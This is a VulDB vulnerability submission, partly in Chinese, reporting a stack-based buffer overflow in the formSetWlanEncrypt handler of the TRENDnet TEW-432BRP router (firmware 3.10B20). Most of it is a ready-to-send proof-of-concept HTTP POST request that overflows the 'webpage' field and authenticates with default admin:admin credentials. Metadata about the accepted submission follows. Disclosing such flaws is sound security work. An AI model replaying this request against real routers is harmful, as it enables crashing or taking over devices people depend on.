提交 #814773: TRENDnet TEW-432BRP 3.10B20 Stack-based Buffer Overflow

In formSetWlanEncrypt function, webpage is directly passed by the attacker, If this part of the data is too long, it will cause the stack overflow, so we can control the webpage to execute arbitrary code.

POST /goform/formSetWlanEncrypt HTTP/1.1
Host: 192.168.10.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 1169
Origin: http://192.168.10.1
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Referer: http://192.168.10.1/wlan_security.asp?t=1777347015970
Upgrade-Insecure-Requests: 1

wep_type=1&auth_type=2&wep_key_type=0&wep_key_len=5&wep_def_key=0&key1=0000000000&key2=0000000000&key3=0000000000&key4=0000000000&eap_type=0&cipher_type=0&wpapsk1=12345678&wpapsk2=12345678&radius_ip1=x.x.x.x&radius_port1=1812&radius_pass1=&radius_ip2=x.x.x.x&radius_port2=1812&radius_pass2=&save=1&restore_wireless=&webpage=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&Action=onchange&wps_clear_configure_by_reg=0

• 来源: ⚠️ https://github.com/wudipjq/my_vuln/blob/main/TRENDnet/vuln_16/16.md
• 用户: pjq_Buoy (UID 97666)
• 提交: 2026-04-28 09時14分 (1 月前)
• 管理: 2026-05-30 18時28分 (1 month later)
• 状态: 已接受
• VulDB条目: 367460 [TRENDnet TEW-432BRP 3.10B20 formSetWlanEncrypt webpage 内存损坏]
• 积分: 20